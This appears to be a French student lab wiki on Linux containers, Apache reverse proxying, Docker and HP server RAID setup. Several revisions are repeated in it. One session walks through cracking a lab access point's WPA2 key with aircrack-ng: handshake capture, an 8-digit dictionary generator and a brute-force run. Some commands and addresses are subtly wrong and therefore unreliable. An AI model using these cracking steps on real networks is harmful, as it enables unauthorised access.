ip link add interne type bridge

===Ajout de vif4 à bridge===
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge

ip link set vif4 master bridge

===Ajout de vif1, vif2, vif3 à interne===

ip link set vif1 master interne
ip link set vif2 master interne
ip link set vif3 master interne

===Activation de toutes les interfaces===

ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set bridge up
ip link set interne up

===Attribution des adresses ip===

On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :

nsenter -t <PID1> -n ip address add dev eth0 192.168.4.1/24

nsenter -t <PID2> -n ip address add dev eth0 192.168.4.2/24

nsenter -t <PID3> -n ip address add dev eth0 192.168.4.3/24

On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :

nsenter -t <PID1> -n ip address add dev eth1 172.26.145.234/24

===Activation des interfaces sur les containers>===
Sur chaque containers, lancer :

ip link set dev eth0 up
ip link set dev lo up

Ainsi que sur le container 1 :

ip link set dev eth1 up

Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :

bridge : eth0 eth1 vif4

interne : vif1 vif2 vif3

Et donc :
root@zabeth04:/home/pifou# brctl show
bridge name bridge id STP enabled interfaces
br-d8330a30a134 8000.0242b8ae38c5 no
bridge 8000.00224d7aeaa1 no eth0
eth1
vif4
docker0 8000.0242ad165937 no veth0b1f71b
interne 8000.3ee68d5b1e14 no vif1
vif2
vif3

=Séance 2 : TP ASR (suite)=
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.

==Attribution des noms de domaine==

Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.

Onglet Domaines, on choisit le domaine plil.space.

Onglet DNS Records, on ajoute un DNS type A :

Nom : tham2
IP : 172.26.145.234

Puis on ajoute deux DNS type Cname :

Nom : tham1 & tham3
Nom d'hote : tham2

De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space

==Configuration d'apache2==

===Fichier conf===
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :

<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)

===Activation des modules proxy et proxy_http===

a2enmod proxy
a2enmod proxy_http

===Activation du site===

a2ensite 000-default.conf

Tout est maintenant configuré, on peut donc rebooter apache :

service apache2 restart

===Création d'une page web===

Dans les containers 2 et 3 on créé une simple page web et on reboot apache :

Container 2 :

cat 1 /var/www/html/index.html
service apache2 restart

Container 3 :

cat 3 /var/www/html/index.html
service apache2 restart

===Visualisation de la page web===

On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :

tham1.plil.space/index.html

firefox affiche 1

tham3.plil.space/index.html

firefox affiche 3

==Création d'un conteneur avec Docker :==
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.

===Création d'une première image :===
Nous avons créé un premier container à l'aide la commande :
docker run -i -t debian /bin/bash
Exporte de la variable d'environement hhtp_proxy :
export http_proxy=http://proxy.polytech-lille.fr:3128/
Instalation d'un éditeur de texte et d'un serveur web :
apt-get install nano vi apache2

===Création de trois conteneurs dans un même réseau :===
Avec un <code>docker ps</code> nous avons recupérer l'id du conteneur puis :
docker commit -m "debian" 367f5e8adddf
Création d'un réseau :
docker network create tham
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine :
docker run --net tham -i -t b7f9916f224e /bin/bash
docker run --net tham -i -t b7f9916f224e /bin/bash
docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash
Et donc :
root@zabeth04:/home/pifou# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
8e4a821cf3a3 b7f9916f224e "/bin/bash" 18 minutes ago Up 18 minutes confident_leakey
c5ec790866ae b7f9916f224e "/bin/bash" 19 minutes ago Up 19 minutes objective_golick
b287061163af b7f9916f224e "/bin/bash" 22 minutes ago Up 22 minutes 0.0.0.0:80->80/tcp objective_bhabha
8ee36885e7fb registry:2 "/entrypoint.sh /etc…" 5 weeks ago Up 38 minutes 0.0.0.0:5000->5000/tcp registry

===Configuration de apache2 :===
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique
Puis dans <code>/etc/apache2/sites-available/</code> :

root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf
<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.

11h10 => Serveurs Web OK (unshare)

12h20 => Serveurs Web OK (docker)

=Séance 3 : TP PRA=
Le sujet choisi ici est le sujet n°10 : HP + DAS -> Baie.
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.

==Le matériel==
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :

XX
XX

Le SAS est un HP StorageWorks MSA60.
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.

Sur le panneau arrière nous constatons qu'il y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)

==Mise en route du serveur==
Lors de la mise en route du serveur, nous constations trois problèmes :
-Les ventilateurs tournent à 100% sans arrêt.
-La LED internal health clignote rouge.
-Un bip long est émis périodiquement.

De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.

Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.

Une fois remonté, le serveur bootait correctement.

==Installation de Devuan==
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.

Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.

Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).

==Configurations réseau==
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.

Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :

nano /etc/network/interfaces

Pour l'interface eth0 :

address 127.26.145.146/24
gateway 192.26.145.253

Ensuite, nous avons configuré les DNS :

nano /etc/resolv.conf

domain polytech-lille.org
search deule.net
nameserver 192.48.57.48
nameserver 193.48.57.33

Et enfin nous avons ajouté le proxy polytech :

nano ~/.profile

export http_proxy=http://proxy.polytech-lille.fr:3128

Une fois fait, notre serveur avait accès au réseau de polytech.

==Mise en route du DAS==
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.

IMAGE

Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.

Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.

De retour sur devuan, la grappe est visible via lsblk.

==Installation des outils HP==
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.

L'installation se fait via les étapes suivantes :

Ajout du dépôt :

nano /etc/apt/sources.list

deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free
deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free

Ajout des clés :

curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -

Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :

nano /etc/apt/sources.list

deb http://deb.devuan.org/merged ascii main
deb-src http://deb.devuan.org/merged ascii main

Rafraîchir les sources :

apt-get update

Installer curl :

apt-get install curl

Réessayer d'ajouter les clés.

Une fois fait, on eut procéder à l'installation des outils HP :

apt-get install hp-health ssacli

=Séance 4 : TP PRA (Suite)=
Dans un premier temps, nous commençons par remplacer les disques défectueux.
Grâce à la commande

ssacli ctrl all show config detail

nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).

Nous procédons au remplacement par des disques neufs.

Une fois fait, nous ajoutons le disque 6 qui était manquant.

Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.

On entre dans le programme ssacli et on fait un premier était des lieux :

ctrl all show config

Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.

On liste ensuite les disques physiques :

ctrl slot 4 pd all show

Notre disque a ajouter est le 1E:1:6

On l'ajoute alors a la grappe B :

array B add drives=1E:1:6

Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :

show

IMAGE

Etant donné que nous n'avons pas de données perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.

controller slot=4 array B delete

ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5

La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :

array B show

ctrl slot=4 show config

De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.

Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :

ctrl slot=4 show config

[[fichier:Reconstruction raid.jpg|center|600px]]

=Séance 5 : Mise en place du serveur DNS et crack WPA2=

==Mise en place du serveur DNS==

==Crack de réseau Wifi WPA==
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.

Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :

IMAGE IFCONFIG

Dans notre cas elle s'appelle wlp3s0.

On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :

ifconfig wlp3s0 down

On place la carte en "monitor mode"

airmon-ng start wlp3s0

On peut vérifier que l'interface est bien en monitor mode avec airmon-ng

IMAGE AIRMONNG

Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :

airodump-ng mon0

IMAGE AIRODUMP

De ce scan, nous tirons plusieurs informations :
-De ou nous scannons, cracotte 10 a le meilleur signal, nous allons nous concentrer dessus.
-Nous notons son BSSID : 04:DA:D2:9C:50:59
-Son channel : 9

Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :

airodump-ng -c 9 --bssid 04:DA:D2:9C:50:59 -w /home/thibault/wpa/ mon0

IMAGE HANDSHAKE

Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.

La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.

Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :

#include <stdio.h>

int main() {
for(int i=0;i<=99999999;i++) {
printf("%08d\n",i);
}
}

gcc -o dico dico.c
./dico > dico.txt

On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.

Le brute-force peut maintenant commencer :

aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt

Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :

IMAGE_KEYFOUND

L'image ci dessus nous montre enfin la clé WPA de cracotte10.

TP sysres IMA5sc 2018/2019 G9

2018-12-10T21:54:37Z

Tcattela :

TP sysres IMA5sc 2018/2019 G9

2018-11-27T10:02:03Z

Tcattela : /* Séance 4 : TP PRA (Suite) */

Fichier:Reconstruction raid.jpg

2018-11-27T09:58:11Z

Tcattela :

TP sysres IMA5sc 2018/2019 G9

2018-11-27T09:53:34Z

Tcattela : /* Le matériel */

TP sysres IMA5sc 2018/2019 G9

2018-11-27T09:51:58Z

Tcattela : /* Mise en route du DAS */

TP sysres IMA5sc 2018/2019 G9

2018-11-27T09:49:17Z

Tcattela : /* Mise en route du DAS */

TP sysres IMA5sc 2018/2019 G9

2018-11-27T09:45:25Z

Tcattela : /* Séance 3 : TP PRA */

TP sysres IMA5sc 2018/2019 G9

2018-11-27T09:42:12Z

Tcattela : /* Installation des outils HP */

TP sysres IMA5sc 2018/2019 G9

2018-11-27T09:33:54Z

Tcattela : /* Configurations réseau */

TP sysres IMA5sc 2018/2019 G9

2018-11-27T09:26:53Z

Tcattela : /* Séance 4 : TP PRA (Suite) */

TP sysres IMA5sc 2018/2019 G9

2018-11-27T07:31:50Z

Tcattela : /* Séance 3 : TP PRA */

=Séance 1 : TP ASR=
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.

==Création d'un container==

===Création de l'image disque===
dd if=/dev/zero of=disc1.img bs=1024K count=10240

===Mise en place du file system===
mkfs disc1.img

===Création du point de montage et montage de l'image===
mkdir /tmp/rootfs1
mount -o loop disc1.img /tmp/rootfs1

===Installation du debian dans le point de montage===
Afin de pouvoir installer debian, il faut que la machine accède à internet :

export http_proxy=http://proxy.polytech-lille.fr:3128/

debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :

debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1

===Simplification de l'accès===
echo "proc /proc proc defaults 0 0" >> /tmp/rootfs1/etc/fstab

===Clonage des images===
L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :

umount /tmp/rootfs1

On copie l'image :

cp disc1.img disc2.img
cp disc1.img disc3.img

On monte les 3 images :

mount -o loop disc1.img /tmp/rootfs1
mount -o loop disc2.img /tmp/rootfs2
mount -o loop disc3.img /tmp/rootfs3

===Lancement des trois containers===
unshare nous permet de lancer les trois images précédemment montées :

unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c "mount /proc ; /bin/bash"

Les trois containers sont maintenant lancés, nous pouvons travailler dessus.

==Mise en place du réseau==

Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.

===Création de 4 interfaces virtuelles===

ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

===Connexion de chaque interface à une interface eth0 sur les containers===

ip link set eth0@vif1 netns /proc/<pid1>/ns/net name eth0
ip link set eth0@vif2 netns /proc/<pid2>/ns/net name eth0
ip link set eth0@vif3 netns /proc/<pid3>/ns/net name eth0

pid1, pid2, pid3 peuvent être déterminés via la commande :
ps aux | grep unshare

===Connexion à eth1 sur le premier container===

ip link set eth1@vif1 netns /proc/<pid1>/ns/net name eth1

===Création d'un bridge===

ip link add interne type bridge

===Ajout de vif4 à bridge===
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge

ip link set vif4 master bridge

===Ajout de vif1, vif2, vif3 à interne===

ip link set vif1 master interne
ip link set vif2 master interne
ip link set vif3 master interne

===Activation de toutes les interfaces===

ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set bridge up
ip link set interne up

===Attribution des adresses ip===

On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :

nsenter -t <PID1> -n ip address add dev eth0 192.168.4.1/24

nsenter -t <PID2> -n ip address add dev eth0 192.168.4.2/24

nsenter -t <PID3> -n ip address add dev eth0 192.168.4.3/24

On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :

nsenter -t <PID1> -n ip address add dev eth1 172.26.145.234/24

===Activation des interfaces sur les containers>===
Sur chaque containers, lancer :

ip link set dev eth0 up
ip link set dev lo up

Ainsi que sur le container 1 :

ip link set dev eth1 up

Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :

bridge : eth0 eth1 vif4

interne : vif1 vif2 vif3

=Séance 2 : TP ASR (suite)=
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.

==Attribution des noms de domaine==

Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.

Onglet Domaines, on choisit le domaine plil.space.

Onglet DNS Records, on ajoute un DNS type A :

Nom : tham2
IP : 172.26.145.234

Puis on ajoute deux DNS type Cname :

Nom : tham1 & tham3
Nom d'hote : tham2

De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space

==Configuration d'apache2==

===Fichier conf===
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :

<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)

===Activation des modules proxy et proxy_http===

a2enmod proxy
a2enmod proxy_http

===Activation du site===

a2ensite 000-default.conf

Tout est maintenant configuré, on peut donc rebooter apache :

service apache2 restart

===Création d'une page web===

Dans les containers 2 et 3 on créé une simple page web et on reboot apache :

Container 2 :

cat 1 /var/www/html/index.html
service apache2 restart

Container 3 :

cat 3 /var/www/html/index.html
service apache2 restart

===Visualisation de la page web===

On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :

tham1.plil.space/index.html

firefox affiche 1

tham3.plil.space/index.html

firefox affiche 3

11h10 => Serveurs Web OK (unshare)

12h20 => Serveurs Web OK (docker)

=Séance 3 : TP PRA=
Le sujet choisi ici est le sujet n°10 : HP + DAS -> Baie.
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.

==Le matériel==
Le serveur est un HP XXXXXX, ses caractéristiques sont les suivantes :

XX
XX
XX
XX
XX
XX

Le SAS est un HP XXXXXXX.
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.

Sur le panneau arrière nous constatons qu'il y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)

==Mise en route du serveur==
Lors de la mise en route du serveur, nous constations trois problèmes :
-Les ventilateurs tournent à 100% sans arrêt.
-La LED internal health clignote rouge.
-Un bip long est émis périodiquement.

De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.

Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.

Une fois remonté, le serveur bootait correctement.

==Installation de Devuan==
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.

Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.

Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).

==Configurations réseau==
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.

Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :
XXX

Ensuite, nous avons configuré les DNS :
XXX

Et enfin nous avons ajouté le proxy polytech :
XXX

Une fois fait, notre serveur avait accès au réseau de polytech.

==Installation des outils HP==

=Séance 4 : TP PRA (Suite)=

TP sysres IMA5sc 2018/2019 G9

2018-11-27T07:10:19Z

Tcattela :

TP sysres IMA5sc 2018/2019 G9

2018-11-25T15:46:29Z

Tcattela : /* Installation du debian dans le point de montage */

=Séance 1=
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.

==Création d'un container==

===Création de l'image disque===
dd if=/dev/zero of=disc1.img bs=1024K count=10240

===Mise en place du file system===
mkfs disc1.img

===Création du point de montage et montage de l'image===
mkdir /tmp/rootfs1
mount -o loop disc1.img /tmp/rootfs1

===Installation du debian dans le point de montage===
Afin de pouvoir installer debian, il faut que la machine accède à internet :

export http_proxy=http://proxy.polytech-lille.fr:3128/

debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :

debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1

===Simplification de l'accès===
echo "proc /proc proc defaults 0 0" >> /tmp/rootfs1/etc/fstab

===Clonage des images===
L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :

umount /tmp/rootfs1

On copie l'image :

cp disc1.img disc2.img
cp disc1.img disc3.img

On monte les 3 images :

mount -o loop disc1.img /tmp/rootfs1
mount -o loop disc2.img /tmp/rootfs2
mount -o loop disc3.img /tmp/rootfs3

===Lancement des trois containers===
unshare nous permet de lancer les trois images précédemment montées :

unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c "mount /proc ; /bin/bash"

Les trois containers sont maintenant lancés, nous pouvons travailler dessus.

==Mise en place du réseau==

Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.

===Création de 4 interfaces virtuelles===

ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

===Connexion de chaque interface à une interface eth0 sur les containers===

ip link set eth0@vif1 netns /proc/<pid1>/ns/net name eth0
ip link set eth0@vif2 netns /proc/<pid2>/ns/net name eth0
ip link set eth0@vif3 netns /proc/<pid3>/ns/net name eth0

pid1, pid2, pid3 peuvent être déterminés via la commande :
ps aux | grep unshare

===Connexion à eth1 sur le premier container===

ip link set eth1@vif1 netns /proc/<pid1>/ns/net name eth1

===Création d'un bridge===

ip link add interne type bridge

===Ajout de vif4 à bridge===
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge

ip link set vif4 master bridge

===Ajout de vif1, vif2, vif3 à interne===

ip link set vif1 master interne
ip link set vif2 master interne
ip link set vif3 master interne

===Activation de toutes les interfaces===

ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set bridge up
ip link set interne up

===Attribution des adresses ip===

On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :

nsenter -t <PID1> -n ip address add dev eth0 192.168.4.1/24

nsenter -t <PID2> -n ip address add dev eth0 192.168.4.2/24

nsenter -t <PID3> -n ip address add dev eth0 192.168.4.3/24

On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :

nsenter -t <PID1> -n ip address add dev eth1 172.26.145.234/24

===Activation des interfaces sur les containers>===
Sur chaque containers, lancer :

ip link set dev eth0 up
ip link set dev lo up

Ainsi que sur le container 1 :

ip link set dev eth1 up

Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :

bridge : eth0 eth1 vif4

interne : vif1 vif2 vif3

=Séance 2=
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.

==Attribution des noms de domaine==

Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.

Onglet Domaines, on choisit le domaine plil.space.

Onglet DNS Records, on ajoute un DNS type A :

Nom : tham2
IP : 172.26.145.234

Puis on ajoute deux DNS type Cname :

Nom : tham1 & tham3
Nom d'hote : tham2

De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space

==Configuration d'apache2==

===Fichier conf===
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :

<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)

===Activation des modules proxy et proxy_http===

a2enmod proxy
a2enmod proxy_http

===Activation du site===

a2ensite 000-default.conf

Tout est maintenant configuré, on peut donc rebooter apache :

service apache2 restart

===Création d'une page web===

Dans les containers 2 et 3 on créé une simple page web et on reboot apache :

Container 2 :

cat 1 /var/www/html/index.html
service apache2 restart

Container 3 :

cat 3 /var/www/html/index.html
service apache2 restart

===Visualisation de la page web===

On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :

tham1.plil.space/index.html

firefox affiche 1

tham3.plil.space/index.html

firefox affiche 3

11h10 => Serveurs Web OK (unshare)

12h20 => Serveurs Web OK (docker)

TP sysres IMA5sc 2018/2019 G9

2018-11-25T15:43:57Z

Tcattela : /* Attribution des noms de domaine */

=Séance 1=
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.

==Création d'un container==

===Création de l'image disque===
dd if=/dev/zero of=disc1.img bs=1024K count=10240

===Mise en place du file system===
mkfs disc1.img

===Création du point de montage et montage de l'image===
mkdir /tmp/rootfs1
mount -o loop disc1.img /tmp/rootfs1

===Installation du debian dans le point de montage===
Afin de pouvoir installer debian, il faut que la machine accède à internet :

export http_proxy=http://proxy.polytech-lille.fr:3128/
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :

debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1

===Simplification de l'accès===
echo "proc /proc proc defaults 0 0" >> /tmp/rootfs1/etc/fstab

===Clonage des images===
L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :

umount /tmp/rootfs1

On copie l'image :

cp disc1.img disc2.img
cp disc1.img disc3.img

On monte les 3 images :

mount -o loop disc1.img /tmp/rootfs1
mount -o loop disc2.img /tmp/rootfs2
mount -o loop disc3.img /tmp/rootfs3

===Lancement des trois containers===
unshare nous permet de lancer les trois images précédemment montées :

unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c "mount /proc ; /bin/bash"
